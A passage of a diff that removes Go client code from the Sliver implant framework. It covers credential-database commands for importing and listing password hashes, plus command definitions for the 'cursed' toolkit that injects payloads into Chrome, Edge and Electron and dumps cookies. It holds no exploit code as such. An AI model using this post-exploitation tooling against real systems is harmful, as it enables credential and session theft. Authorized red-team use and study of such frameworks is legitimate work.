-	var err error
-	switch fileFormat {
-	case UserColonHashNewlineFormat:
-		creds, err = parseUserColonHashNewline(filePath, hashType)
-	case HashNewlineFormat:
-		creds, err = parseHashNewline(filePath, hashType)
-	case CSVFormat:
-		creds, err = parseCSV(filePath, hashType)
-	default:
-		con.PrintErrorf("Invalid file format '%s', see 'creds add file --help'\n", fileFormat)
-		return
-	}
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	for _, cred := range creds.Credentials {
-		cred.Collection = collection
-	}
-	con.PrintInfof("Adding %d credential(s) ...\n", len(creds.Credentials))
-	_, err = con.Rpc.CredsAdd(context.Background(), creds)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	PrintCreds(creds.Credentials, con)
-}
-
-func parseHashType(raw string) clientpb.HashType {
-	hashInt, err := strconv.Atoi(raw)
-	if err == nil {
-		return clientpb.HashType(hashInt)
-	}
-	return clientpb.HashType_INVALID
-}
-
-// same as parseHashType, but use the string representation.
-func parseHashTypeString(raw string) clientpb.HashType {
-	if hashType, valid := clientpb.HashType_value[raw]; valid {
-		return clientpb.HashType(hashType)
-	}
-
-	return clientpb.HashType_INVALID
-}
-
-func parseUserColonHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
-	file, err := os.Open(filePath)
-	if err != nil {
-		return nil, err
-	}
-	defer file.Close()
-
-	scanner := bufio.NewScanner(file)
-	creds := &clientpb.Credentials{}
-	for scanner.Scan() {
-		line := scanner.Text()
-		parts := strings.Split(line, ":")
-		if len(parts) != 2 {
-			continue
-		}
-		creds.Credentials = append(creds.Credentials, &clientpb.Credential{
-			Username: parts[0],
-			Hash:     parts[1],
-			HashType: hashType,
-		})
-	}
-	return creds, nil
-}
-
-func parseHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
-	file, err := os.Open(filePath)
-	if err != nil {
-		return nil, err
-	}
-	defer file.Close()
-
-	scanner := bufio.NewScanner(file)
-	creds := &clientpb.Credentials{}
-	for scanner.Scan() {
-		line := scanner.Text()
-		creds.Credentials = append(creds.Credentials, &clientpb.Credential{
-			Hash:     line,
-			HashType: hashType,
-		})
-	}
-	return creds, nil
-}
-
-func parseCSV(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
-	file, err := os.Open(filePath)
-	if err != nil {
-		return nil, err
-	}
-	defer file.Close()
-
-	scanner := bufio.NewScanner(file)
-	creds := &clientpb.Credentials{}
-	scanner.Scan() // skip header
-	for scanner.Scan() {
-		line := scanner.Text()
-		parts := strings.Split(line, ",")
-		if len(parts) < 2 {
-			continue
-		}
-		creds.Credentials = append(creds.Credentials, &clientpb.Credential{
-			Username: parts[0],
-			Hash:     parts[1],
-			HashType: hashType,
-		})
-	}
-	return creds, nil
-}

client/command/creds/commands.go

@@ -1,82 +0,0 @@
-package creds
-
-import (
-	"github.com/bishopfox/sliver/client/command/flags"
-	"github.com/bishopfox/sliver/client/command/help"
-	"github.com/bishopfox/sliver/client/console"
-	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-)
-
-// Commands returns the “ command and its subcommands.
-func Commands(con *console.SliverClient) []*cobra.Command {
-	credsCmd := &cobra.Command{
-		Use:     consts.CredsStr,
-		Short:   "Manage the database of credentials",
-		Long:    help.GetHelpFor([]string{consts.CredsStr}),
-		GroupID: consts.GenericHelpGroup,
-		Run: func(cmd *cobra.Command, args []string) {
-			CredsCmd(cmd, con, args)
-		},
-	}
-	flags.Bind("creds", true, credsCmd, func(f *pflag.FlagSet) {
-		f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
-	})
-
-	credsAddCmd := &cobra.Command{
-		Use:   consts.AddStr,
-		Short: "Add a credential to the database",
-		Long:  help.GetHelpFor([]string{consts.CredsStr, consts.AddStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			CredsAddCmd(cmd, con, args)
-		},
-	}
-	flags.Bind("", false, credsAddCmd, func(f *pflag.FlagSet) {
-		f.StringP("collection", "c", "", "name of collection")
-		f.StringP("username", "u", "", "username for the credential")
-		f.StringP("plaintext", "p", "", "plaintext for the credential")
-		f.StringP("hash", "P", "", "hash of the credential")
-		f.StringP("hash-type", "H", "", "hash type of the credential")
-	})
-	flags.BindFlagCompletions(credsAddCmd, func(comp *carapace.ActionMap) {
-		(*comp)["hash-type"] = CredsHashTypeCompleter(con)
-	})
-	credsCmd.AddCommand(credsAddCmd)
-
-	credsAddFileCmd := &cobra.Command{
-		Use:   consts.FileStr,
-		Short: "Add a credential to the database",
-		Long:  help.GetHelpFor([]string{consts.CredsStr, consts.AddStr, consts.FileStr}),
-		Args:  cobra.ExactArgs(1),
-		Run: func(cmd *cobra.Command, args []string) {
-			CredsAddHashFileCmd(cmd, con, args)
-		},
-	}
-	flags.Bind("", false, credsAddFileCmd, func(f *pflag.FlagSet) {
-		f.StringP("collection", "c", "", "name of collection")
-		f.StringP("file-format", "F", HashNewlineFormat, "file format of the credential file")
-		f.StringP("hash-type", "H", "", "hash type of the credential")
-	})
-	flags.BindFlagCompletions(credsAddFileCmd, func(comp *carapace.ActionMap) {
-		(*comp)["collection"] = CredsCollectionCompleter(con)
-		(*comp)["file-format"] = CredsHashFileFormatCompleter(con)
-		(*comp)["hash-type"] = CredsHashTypeCompleter(con)
-	})
-	carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file"))
-	credsAddCmd.AddCommand(credsAddFileCmd)
-
-	credsRmCmd := &cobra.Command{
-		Use:   consts.RmStr,
-		Short: "Remove a credential to the database",
-		Long:  help.GetHelpFor([]string{consts.CredsStr, consts.RmStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			CredsRmCmd(cmd, con, args)
-		},
-	}
-	carapace.Gen(credsRmCmd).PositionalCompletion(CredsCredentialIDCompleter(con).Usage("id of credential to remove (leave empty to select)"))
-	credsCmd.AddCommand(credsRmCmd)
-
-	return []*cobra.Command{credsCmd}
-}

client/command/creds/creds.go

@@ -1,181 +0,0 @@
-package creds
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-	"strings"
-
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-)
-
-// CredsCmd - Manage credentials.
-func CredsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if len(creds.Credentials) == 0 {
-		con.PrintInfof("No credentials 🙁\n")
-		return
-	}
-	PrintCreds(creds.Credentials, con)
-}
-
-func PrintCreds(creds []*clientpb.Credential, con *console.SliverClient) {
-	collections := make(map[string][]*clientpb.Credential)
-	for _, cred := range creds {
-		collections[cred.Collection] = append(collections[cred.Collection], cred)
-	}
-	for collection, creds := range collections {
-		printCollection(collection, creds, con)
-		con.Println()
-	}
-}
-
-func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverClient) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	if collection != "" {
-		tw.SetTitle(console.Bold + collection + console.Normal)
-	} else {
-		tw.SetTitle(console.Bold + "Default Collection" + console.Normal)
-	}
-	tw.AppendHeader(table.Row{
-		"ID",
-		"Username",
-		"Plaintext",
-		"Hash",
-		"Hash Type",
-		"Cracked",
-	})
-	for _, cred := range creds {
-		tw.AppendRow(table.Row{
-			strings.Split(cred.ID, "-")[0],
-			cred.Username,
-			cred.Plaintext,
-			cred.Hash,
-			cred.HashType,
-			cred.IsCracked,
-		})
-	}
-	con.Printf("%s\n", tw.Render())
-}
-
-// CredsHashTypeCompleter completes hash types.
-func CredsHashTypeCompleter(con *console.SliverClient) carapace.Action {
-	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
-		results := make([]string, 0)
-
-		for hashType, desc := range hashTypes {
-			results = append(results, hashType)
-			results = append(results, desc)
-		}
-
-		return carapace.ActionValuesDescribed(results...).Tag("hash types")
-	})
-}
-
-// CredsHashFileFormatCompleter completes file formats for hash-files.
-func CredsHashFileFormatCompleter(con *console.SliverClient) carapace.Action {
-	return carapace.ActionValuesDescribed(
-		UserColonHashNewlineFormat, "One hash per line.",
-		HashNewlineFormat, "A file containing lines of 'username:hash' pairs.",
-		CSVFormat, "A CSV file containing 'username,hash' pairs (additional columns ignored).",
-	).Tag("hash file formats")
-}
-
-// CredsCollectionCompleter completes existing creds collection names.
-func CredsCollectionCompleter(con *console.SliverClient) carapace.Action {
-	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
-		results := make([]string, 0)
-
-		creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			return carapace.ActionMessage("failed to fetch credentials: %s", err.Error())
-		}
-		if len(creds.Credentials) == 0 {
-			return carapace.Action{}
-		}
-
-		for _, cred := range creds.Credentials {
-			if cred.Collection != "" {
-				results = append(results, cred.Collection)
-			}
-		}
-
-		return carapace.ActionValues(results...).Tag("creds collections")
-	})
-}
-
-// CredsCredentialIDCompleter completes credential IDs.
-func CredsCredentialIDCompleter(con *console.SliverClient) carapace.Action {
-	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
-		results := make([]string, 0)
-
-		creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			return carapace.ActionMessage("failed to fetch credentials: %s", err.Error())
-		}
-		if len(creds.Credentials) == 0 {
-			return carapace.Action{}
-		}
-
-		for _, cred := range creds.Credentials {
-			results = append(results, cred.ID)
-
-			var hostID string
-			if cred.OriginHostUUID != "" {
-				if len(cred.OriginHostUUID) > 8 {
-					hostID = cred.OriginHostUUID[8:]
-				} else {
-					hostID = cred.OriginHostUUID
-				}
-			} else {
-				hostID = "None"
-			}
-
-			var username string
-			if cred.Username != "" {
-				username = fmt.Sprintf(" (user: %s)", cred.Username)
-			}
-
-			var cracked string
-			if cred.IsCracked {
-				cracked = "[C]"
-			} else {
-				cracked = "[ ]"
-			}
-
-			desc := fmt.Sprintf("[Host: %s] ( %s ) %s%s", hostID, cred.HashType.String(), cracked, username)
-			results = append(results, desc)
-
-		}
-
-		return carapace.ActionValuesDescribed(results...).Tag("credentials")
-	})
-}

client/command/creds/hash-types.go

@@ -1,143 +0,0 @@
-package creds
-
-// List of all available hash-types, for completions.
-// Unfortunately this list has to be maintained manually,
-// until someone devises a way to do so automatically.
-var hashTypes = map[string]string{
-	"MD5": "MD5", // Enum 0 in proto file.
-
-	"MD4":                   "MD4",
-	"SHA1":                  "SHA1",
-	"SHA2_224":              "SHA2-224",
-	"SHA2_256":              "SHA2-256",
-	"SHA2_384":              "SHA2-384",
-	"SHA2_512":              "SHA2-512",
-	"SHA3_224":              "SHA3-224",
-	"SHA3_256":              "SHA3-256",
-	"SHA3_384":              "SHA3-384",
-	"SHA3_512":              "SHA3-512",
-	"RIPEMD_160":            "RIPEMD-160",
-	"BLAKE2B_256":           "BLAKE2b-512",
-	"GOST_R_32_11_2012_256": "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
-	"GOST_R_32_11_2012_512": "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
-	"GOST_R_34_11_94":       "GOST R 34.11-94",
-	"GPG":                   "GPG (AES-128/AES-256 (SHA-1($pass)))",
-	"HALF_MD5":              "Half MD5",
-	"KECCAK_224":            "Keccak-224",
-	"KECCAK_256":            "Keccak-256",
-	"KECCAK_384":            "Keccak-384",
-	"KECCAK_512":            "Keccak-512",
-	"WHIRLPOOL":             "Whirlpool",
-	"SIPHASH":               "SipHash",
-	"MD5_UTF16LE":           "md5(utf16le($pass))",
-	"SHA1_UTF16LE":          "sha1(utf16le($pass))",
-	"SHA256_UTF16LE":        "sha256(utf16le($pass))",
-	"SHA384_UTF16LE":        "sha384(utf16le($pass))",
-	"SHA512_UTF16LE":        "sha512(utf16le($pass))",
-	"BLAKE2B_512_PW_SALT":   "BLAKE2b-512($pass.$salt)",
-	"BLAKE2B_512_SALT_PW":   "BLAKE2b-512($salt.$pass)",
-	"MD5_PW_SALT":           "md5($pass.$salt)",
-	"MD5_SALT_PW":           "md5($salt.$pass)",
-	"MD5_SALT_PW_SALT":      "md5($salt.$pass.$salt)",
-	"MD5_SALT_MD5_PW":       "md5($salt.md5($pass))",
-
-	// ... TODO fill in the rest ...,
-
-	"CRC32":                        "CRC32",
-	"CRC32C":                       "CRC32B",
-	"CRC64Jones":                   "CRC64-Jones",
-	"JAVA_OBJECT":                  "Java object",
-	"MURMUR":                       "MurmurHash",
-	"MURMUR3":                      "MurmurHash3",
-	"THREE_DES":                    "3DES (PT = $salt, key = $pass)",
-	"DES":                          "DES (PT = $salt, key = $pass)",
-	"AES_128_ECB":                  "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
-	"AES_192_ECB":                  "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
-	"AES_256_ECB":                  "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
-	"CHA_CHA_20":                   "ChaCha20",
-	"LINUX_KERNEL_CRYPTO_API_24":   "Linux Kernel Crypto API (2.4)",
-	"SKIP_32":                      "Skip32 (PT = $salt, key = $pass)",
-	"PBKDF2_HMAC_MD5":              "PBKDF2-HMAC-MD5",
-	"PBKDF2_HMAC_SHA1":             "PBKDF2-HMAC-SHA1",
-	"PBKDF2_HMAC_SHA256":           "PBKDF2-HMAC-SHA256",
-	"PBKDF2_HMAC_SHA512":           "PBKDF2-HMAC-SHA512",
-	"SCRYPT":                       "scrypt",
-	"PHPASS":                       "phpass",
-	"TACACS_PLUS":                  "TACACS+",
-	"SIP_DIGEST":                   "SIP digest authentication (MD5)",
-	"IKE_MD5":                      "IKE-PSK MD5",
-	"IKE_SHA1":                     "IKE-PSK SHA1",
-	"SNMP_V3_HMAC_MD5_96":          "SNMPv3 HMAC-MD5-96",
-	"SNMP_V3_HMAC_MD5_96__SHA1_96": "SNMPv3 HMAC-MD5-96 / HMAC-SHA1-96",
-	"SNMP_V3_HMAC_SHA1_96":         "SNMPv3 HMAC-SHA1-96",
-	"SNMP_V3_HMAC_SHA224_128":      "SNMPv3 HMAC-SHA224-128",
-	"SNMP_V3_HMAC_SHA256_192":      "SNMPv3 HMAC-SHA256-192",
-	"SNMP_V3_HMAC_SHA384_256":      "SNMPv3 HMAC-SHA384-256",
-	"SNMP_V3_HMAC_SHA512_384":      "SNMPv3 HMAC-SHA512-384",
-	"WPA_EAPOL_PBKDF2":             "WPA-EAPOL-PBKDF2",
-	"WPA_EAPOL_PMK":                "WPA-EAPOL-PMK",
-	"WPA_PBKDF2_PMKID_EAPOL":       "WPA-PBKDF2-PMKID+EAPOL",
-	"WPA_PMK_PMKID_EAPOL":          "WPA-PMK-PMKID+EAPOL",
-	"WPA_PMKID_PBKDF2":             "WPA-PMKID-PBKDF2",
-	"WPA_PMKID_PMK":                "WPA-PMKID-PMK",
-	"IPMI2_PAKP_HMAC_SHA1":         "IPMI2 RAKP HMAC-SHA1",
-	"CRAM_MD5":                     "CRAM-MD5",
-	"JWT":                          "JWT (JSON Web Token)",
-	"RADMIN_3":                     "Radmin3",
-	"KERBEROS_17_TGS_REP":          "Kerberos 5, etype 17, TGS-REP",
-	"KERBEROS_17_PREAUTH":          "Kerberos 5, etype 17, Pre-Auth",
-	"KERBEROS_17_DB":               "Kerberos 5, etype 17, DB",
-	"KERBEROS_18_TGS_REP":          "Kerberos 5, etype 18, TGS-REP",
-	"KERBEROS_18_PREAUTH":          "Kerberos 5, etype 18, Pre-Auth",
-	"KERBEROS_18_DB":               "Kerberos 5, etype 18, DB",
-	"KERBEROS_23_SA_REQ_PREAUTH":   "Kerberos 5, etype 23, AS-REQ Pre-Auth",
-	"KERBEROS_23_TGS_REP":          "Kerberos 5, etype 23, TGS-REP",
-	"KERBEROS_23_AS_REP":           "Kerberos 5, etype 23, AS-REP",
-	"NET_NTLM_V1":                  "NetNTLMv1 / NetNTLMv1+ESS",
-	"NET_NTLM_V1_NT":               "NetNTLMv1 / NetNTLMv1+ESS (NT)",
-	"NET_NTLM_V2":                  "NetNTLMv2",
-	"NET_NTLM_V2_NT":               "NetNTLMv2 (NT)",
-	"FLASK":                        "Flask Session Cookie ($salt.$salt.$pass)",
-	"ISCSI_CHAP":                   "iSCSI CHAP authentication, MD5(CHAP)",
-	"RACF":                         "Resource Access Control Facility",
-	"AIX_SMD5":                     "AIX MD5",
-	"AIX_SSHA1":                    "AIX SHA-1",
-	"AIX_SSHA256":                  "AIX SHA-256",
-	"AIX_SSHA512":                  "AIX SHA-512",
-	"LM":                           "LM",
-	"QNX_MD5":                      "QNX /etc/shadow (MD5)",
-	"QNX_SHA256":                   "QNX /etc/shadow (SHA256)",
-	"QNX_SHA512":                   "QNX /etc/shadow (SHA512)",
-	"DPAPI_V1_CTX_1_AND_2":         "DPAPI masterkey file v1 (context 1 and 2)",
-	"DPAPI_V1_CTX_3":               "DPAPI masterkey file v1 (context 3)",
-	"DPAPI_V2_CTX_1_AND_2":         "DPAPI masterkey file v2 (context 1)",
-	"DPAPI_V2_CTX_3":               "DPAPI masterkey file v2 (context 3)",
-	"GRUB_2":                       "GRUB 2",
-	"MS_AZURE_SYNC":                "MS-AzureSync PBKDF2-HMAC-SHA256",
-	"BSDI_CRYPT":                   "BSDi Crypt, Extended DES",
-	"NTLM":                         "NTLM",
-	"RADMIN2":                      "Radmin2",
-	"SAMSUNG_ANDROID":              "Samsung Android Password/PIN",
-	"WINDOWS_HELLO_PIN":            "Windows Hello PIN/Password",
-	"WINDOWS_PHONE":                "Windows Phone 8+ PIN/Password",
-	"CISCO_ASA_MD5":                "Cisco-ASA MD5",
-	"CISCO_IOS_PBKDF2_SHA256":      "Cisco-IOS $8$ (PBKDF2-SHA256)",
-	"CISCO_IOS_SCRYPT":             "Cisco-IOS $9$ (scrypt)",
-	"CISCO_PIX_MD5":                "Cisco-Pix MD5",
-	"CITRIX_NETSCALER_SHA1":        "Citrix NetScaler (SHA1)",
-	"CITRIX_NETSCALER_SHA512":      "Citrix NetScaler (SHA512)",
-	"DCC":                          "Domain Cached Credentials (DCC), MS Cache",
-	"DCC2":                         "Domain Cached Credentials 2 (DCC2), MS Cache 2",
-
-	// ...
-
-	"MACOS_10_8": "macOS v10.8+ (PBKDF2-SHA512)",
-
-	// ...
-
-	// INVALID = 9999; // Invalid hash type
-
-	// Out of order
-	"BCRYPT_UNIX":       "bcrypt",
-	"SHA512_CRYPT_UNIX": "sha512crypt $6$, SHA512 (Unix)",
-}

client/command/creds/rm.go

@@ -1,65 +0,0 @@
-package creds
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/spf13/cobra"
-)
-
-// CredsCmd - Add new credentials.
-func CredsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	var id string
-	if len(args) > 0 {
-		id = args[0]
-	}
-	if id == "" {
-		credential, err := SelectCredential(false, clientpb.HashType_INVALID, con)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		id = credential.ID
-	}
-	_, err := con.Rpc.CredsRm(context.Background(), &clientpb.Credentials{
-		Credentials: []*clientpb.Credential{
-			{
-				ID: id,
-			},
-		},
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if len(creds.Credentials) == 0 {
-		con.PrintInfof("No credentials 🙁\n")
-		return
-	}
-	PrintCreds(creds.Credentials, con)
-}

client/command/creds/select.go

@@ -1,72 +0,0 @@
-package creds
-
-import (
-	"bytes"
-	"context"
-	"errors"
-	"fmt"
-	"strings"
-	"text/tabwriter"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-)
-
-// SelectCredential - Interactive menu for the user to select a credentials from the database.
-func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverClient) (*clientpb.Credential, error) {
-	var creds *clientpb.Credentials
-	var err error
-	if hashType == clientpb.HashType_INVALID {
-		creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			return nil, err
-		}
-	} else {
-		creds, err = con.Rpc.GetCredsByHashType(context.Background(), &clientpb.Credential{HashType: hashType})
-		if err != nil {
-			return nil, err
-		}
-	}
-	if len(creds.Credentials) == 0 {
-		return nil, errors.New("no credentials to select from")
-	}
-
-	// Render selection table
-	buf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
-	for _, cred := range creds.Credentials {
-		if cred.Plaintext == "" {
-			fmt.Fprintf(table, "%s\t%s\t%s\t[not cracked]\t\n", strings.Split(cred.ID, "-")[0], cred.Collection, cred.HashType)
-		} else {
-			plaintext := cred.Plaintext
-			if len(plaintext) > 12 {
-				plaintext = plaintext[:12] + "..."
-			}
-			fmt.Fprintf(table, "%s\t%s\t%s\tplaintext: %s\t\n", strings.Split(cred.ID, "-")[0], cred.Collection, cred.HashType, plaintext)
-		}
-	}
-	table.Flush()
-	options := strings.Split(buf.String(), "\n")
-	options = options[:len(options)-1]
-	if len(options) == 0 {
-		return nil, errors.New("no credentials to select from")
-	}
-
-	selected := ""
-	prompt := &survey.Select{
-		Message: "Select a credential:",
-		Options: options,
-	}
-	err = survey.AskOne(prompt, &selected)
-	if err != nil {
-		return nil, err
-	}
-	for index, value := range options {
-		if value == selected {
-			return creds.Credentials[index], nil
-		}
-	}
-	return nil, nil
-}

client/command/cursed/README.md

@@ -1,3 +0,0 @@
-# Cursed
-
-Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).

client/command/cursed/commands.go

@@ -1,149 +0,0 @@
-package cursed
-
-import (
-	"github.com/bishopfox/sliver/client/command/flags"
-	"github.com/bishopfox/sliver/client/command/help"
-	"github.com/bishopfox/sliver/client/console"
-	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-)
-
-// Commands returns the “ command and its subcommands.
-func Commands(con *console.SliverClient) []*cobra.Command {
-	cursedCmd := &cobra.Command{
-		Use:         consts.Cursed,
-		Short:       "Chrome/electron post-exploitation tool kit (∩｀-´)⊃━☆ﾟ.*･｡ﾟ",
-		Long:        help.GetHelpFor([]string{consts.Cursed}),
-		GroupID:     consts.ExecutionHelpGroup,
-		Annotations: flags.RestrictTargets(consts.SessionCmdsFilter),
-		Run: func(cmd *cobra.Command, args []string) {
-			CursedCmd(cmd, con, args)
-		},
-	}
-	flags.Bind("", true, cursedCmd, func(f *pflag.FlagSet) {
-		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
-	})
-
-	cursedRmCmd := &cobra.Command{
-		Use:   consts.RmStr,
-		Short: "Remove a Curse from a process",
-		Long:  help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
-		Args:  cobra.ExactArgs(1),
-		Run: func(cmd *cobra.Command, args []string) {
-			CursedRmCmd(cmd, con, args)
-		},
-	}
-	cursedCmd.AddCommand(cursedRmCmd)
-	flags.Bind("", false, cursedRmCmd, func(f *pflag.FlagSet) {
-		f.BoolP("kill", "k", false, "kill the process after removing the curse")
-	})
-	carapace.Gen(cursedRmCmd).PositionalCompletion(carapace.ActionValues().Usage("bind port of the Cursed process to stop"))
-
-	cursedConsoleCmd := &cobra.Command{
-		Use:   consts.CursedConsole,
-		Short: "Start a JavaScript console connected to a debug target",
-		Long:  help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
-		Run: func(cmd *cobra.Command, args []string) {
-			CursedConsoleCmd(cmd, con, args)
-		},
-	}
-	cursedCmd.AddCommand(cursedConsoleCmd)
-	flags.Bind("", false, cursedConsoleCmd, func(f *pflag.FlagSet) {
-		f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)`")
-	})
-
-	cursedChromeCmd := &cobra.Command{
-		Use:   consts.CursedChrome,
-		Short: "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
-		Long:  help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
-		Run: func(cmd *cobra.Command, args []string) {
-			CursedChromeCmd(cmd, con, args)
-		},
-	}
-	cursedCmd.AddCommand(cursedChromeCmd)
-	flags.Bind("", false, cursedChromeCmd, func(f *pflag.FlagSet) {
-		f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)")
-		f.BoolP("restore", "R", true, "restore the user's session after process termination")
-		f.StringP("exe", "e", "", "chrome/chromium browser executable path (blank string = auto)")
-		f.StringP("user-data", "u", "", "user data directory (blank string = auto)")
-		f.StringP("payload", "p", "", "cursed chrome payload file path (.js)")
-		f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes")
-		f.BoolP("headless", "H", false, "start browser process in headless mode")
-	})
-	flags.BindFlagCompletions(cursedChromeCmd, func(comp *carapace.ActionMap) {
-		(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
-	})
-	cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
-	carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments"))
-
-	cursedEdgeCmd := &cobra.Command{
-		Use:   consts.CursedEdge,
-		Short: "Automatically inject a Cursed Chrome payload into a remote Edge extension",
-		Long:  help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
-		Run: func(cmd *cobra.Command, args []string) {
-			CursedEdgeCmd(cmd, con, args)
-		},
-	}
-	cursedCmd.AddCommand(cursedEdgeCmd)
-	flags.Bind("", false, cursedEdgeCmd, func(f *pflag.FlagSet) {
-		f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)")
-		f.BoolP("restore", "R", true, "restore the user's session after process termination")
-		f.StringP("exe", "e", "", "edge browser executable path (blank string = auto)")
-		f.StringP("user-data", "u", "", "user data directory (blank string = auto)")
-		f.StringP("payload", "p", "", "cursed chrome payload file path (.js)")
-		f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes")
-		f.BoolP("headless", "H", false, "start browser process in headless mode")
-	})
-	flags.BindFlagCompletions(cursedEdgeCmd, func(comp *carapace.ActionMap) {
-		(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
-	})
-	cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
-	carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments"))
-
-	cursedElectronCmd := &cobra.Command{
-		Use:   consts.CursedElectron,
-		Short: "Curse a remote Electron application",
-		Long:  help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
-		Run: func(cmd *cobra.Command, args []string) {
-			CursedElectronCmd(cmd, con, args)
-		},
-	}
-	cursedCmd.AddCommand(cursedElectronCmd)
-	flags.Bind("", false, cursedElectronCmd, func(f *pflag.FlagSet) {
-		f.StringP("exe", "e", "", "remote electron executable absolute path")
-		f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)")
-	})
-	cursedElectronCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
-	carapace.Gen(cursedElectronCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Electron CLI arguments"))
-
-	CursedCookiesCmd := &cobra.Command{
-		Use:   consts.CursedCookies,
-		Short: "Dump all cookies from cursed process",
-		Long:  help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
-		Run: func(cmd *cobra.Command, args []string) {
-			CursedCookiesCmd(cmd, con, args)
-		},
-	}
-	cursedCmd.AddCommand(CursedCookiesCmd)
-	flags.Bind("", false, CursedCookiesCmd, func(f *pflag.FlagSet) {
-		f.StringP("save", "s", "", "save to file")
-	})
-
-	cursedScreenshotCmd := &cobra.Command{
